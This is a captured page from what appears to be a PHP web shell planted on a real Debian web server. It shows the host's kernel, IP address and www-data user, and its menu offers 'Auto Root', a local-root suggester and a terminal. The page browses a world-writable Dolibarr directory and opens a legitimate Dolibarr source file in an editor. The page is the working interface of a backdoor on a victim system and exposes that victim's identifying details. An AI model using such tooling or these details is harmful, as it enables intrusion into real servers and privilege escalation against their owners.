Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
ctm.bdcloud.fr /
core /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
boxes
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
class
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
db
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
filemanagerdol
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
js
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
lib
[ DIR ]
drwxrwxrwx
2020-09-03 11:40
login
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
menus
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
modules
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
tpl
[ DIR ]
drwxrwxrwx
2020-09-03 11:40
triggers
[ DIR ]
drwxrwxrwx
2020-09-03 11:41
.htaccess
510
B
-rw-r--r--
2023-01-18 07:38
actions_addupdatedelete.inc.php
12.82
KB
-rwxrwxrwx
2020-09-03 11:37
actions_builddoc.inc.php
5.25
KB
-rwxrwxrwx
2020-09-03 11:37
actions_changeselectedfields.inc.php
1.57
KB
-rwxrwxrwx
2020-09-03 11:37
actions_comments.inc.php
2.63
KB
-rwxrwxrwx
2020-09-03 11:37
actions_dellink.inc.php
1.6
KB
-rwxrwxrwx
2020-09-03 11:37
actions_extrafields.inc.php
12.14
KB
-rwxrwxrwx
2020-09-03 11:37
actions_fetchobject.inc.php
1.94
KB
-rwxrwxrwx
2020-09-03 11:37
actions_lineupdown.inc.php
2.55
KB
-rwxrwxrwx
2020-09-03 11:37
actions_linkedfiles.inc.php
10.66
KB
-rwxrwxrwx
2020-09-03 11:37
actions_massactions.inc.php
48.76
KB
-rwxrwxrwx
2020-09-03 11:37
actions_printing.inc.php
3.7
KB
-rwxrwxrwx
2020-09-03 11:37
actions_sendmails.inc.php
19.29
KB
-rwxrwxrwx
2020-09-03 11:37
actions_setmoduleoptions.inc.php
3.64
KB
-rwxrwxrwx
2020-09-03 11:37
actions_setnotes.inc.php
3.44
KB
-rwxrwxrwx
2020-09-03 11:37
antispamimage.php
1.89
KB
-rwxrwxrwx
2020-09-03 11:37
commonfieldsinexport.inc.php
2.01
KB
-rwxrwxrwx
2020-09-03 11:37
datepicker.php
9.21
KB
-rwxrwxrwx
2020-09-03 11:37
doxygen.php
1.71
KB
-rwxrwxrwx
2020-09-03 11:37
extrafieldsinexport.inc.php
2.63
KB
-rwxrwxrwx
2020-09-03 11:37
get_info.php
7.79
KB
-rwxrwxrwx
2020-09-03 11:37
get_menudiv.php
6.98
KB
-rwxrwxrwx
2020-09-03 11:37
index.html
0
B
-rwxrwxrwx
2020-09-03 11:37
index.php
6.98
KB
-rw-r--r--
2023-01-18 07:38
photos_resize.php
19.92
KB
-rwxrwxrwx
2020-09-03 11:37
search.php
4.95
KB
-rwxrwxrwx
2020-09-03 11:37
search_page.php
4.31
KB
-rwxrwxrwx
2020-09-03 11:37
tools.php
1.54
KB
-rwxrwxrwx
2020-09-03 11:37
website.inc.php
4.12
KB
-rwxrwxrwx
2020-09-03 11:37
Save
Rename
<?php /* Copyright (C) 2014-2017 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * or see https://www.gnu.org/ */ /** * \file htdocs/core/actions_setmoduleoptions.inc.php * \brief Code for actions on setting notes of object page */ // $action must be defined // $arrayofparameters must be set for action 'update' // $nomessageinupdate can be set to 1 // $nomessageinsetmoduleoptions can be set to 1 if ($action == 'update' && is_array($arrayofparameters)) { $db->begin(); $ok=true; foreach($arrayofparameters as $key => $val) { $result=dolibarr_set_const($db, $key, GETPOST($key, 'alpha'), 'chaine', 0, '', $conf->entity); if ($result < 0) { $ok=false; break; } } if (! $error) { $db->commit(); if (empty($nomessageinupdate)) setEventMessages($langs->trans("SetupSaved"), null, 'mesgs'); } else { $db->rollback(); if (empty($nomessageinupdate)) setEventMessages($langs->trans("SetupNotSaved"), null, 'errors'); } } // Define constants for submodules that contains parameters (forms with param1, param2, ... and value1, value2, ...) if ($action == 'setModuleOptions') { $db->begin(); // Process common param fields if (is_array($_POST)) { foreach($_POST as $key => $val) { $reg = array(); if (preg_match('/^param(\d*)$/', $key, $reg)) // Works for POST['param'], POST['param1'], POST['param2'], ... { $param=GETPOST("param".$reg[1], 'alpha'); $value=GETPOST("value".$reg[1], 'alpha'); if ($param) { $res = dolibarr_set_const($db, $param, $value, 'chaine', 0, '', $conf->entity); if (! $res > 0) $error++; } } } } // Process upload fields if (GETPOST('upload', 'alpha') && GETPOST('keyforuploaddir', 'aZ09')) { include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; $keyforuploaddir=GETPOST('keyforuploaddir', 'aZ09'); $listofdir=explode(',', preg_replace('/[\r\n]+/', ',', trim($conf->global->$keyforuploaddir))); foreach($listofdir as $key=>$tmpdir) { $tmpdir=trim($tmpdir); $tmpdir=preg_replace('/DOL_DATA_ROOT/', DOL_DATA_ROOT, $tmpdir); if (! $tmpdir) { unset($listofdir[$key]); continue; } if (! is_dir($tmpdir)) $texttitle.=img_warning($langs->trans("ErrorDirNotFound", $tmpdir), 0); else { $upload_dir=$tmpdir; } } if ($upload_dir) { $result = dol_add_file_process($upload_dir, 0, 1, 'uploadfile', ''); if ($result <= 0) $error++; } } if (! $error) { $db->commit(); if (empty($nomessageinsetmoduleoptions)) setEventMessages($langs->trans("SetupSaved"), null, 'mesgs'); } else { $db->rollback(); if (empty($nomessageinsetmoduleoptions)) setEventMessages($langs->trans("SetupNotSaved"), null, 'errors'); } }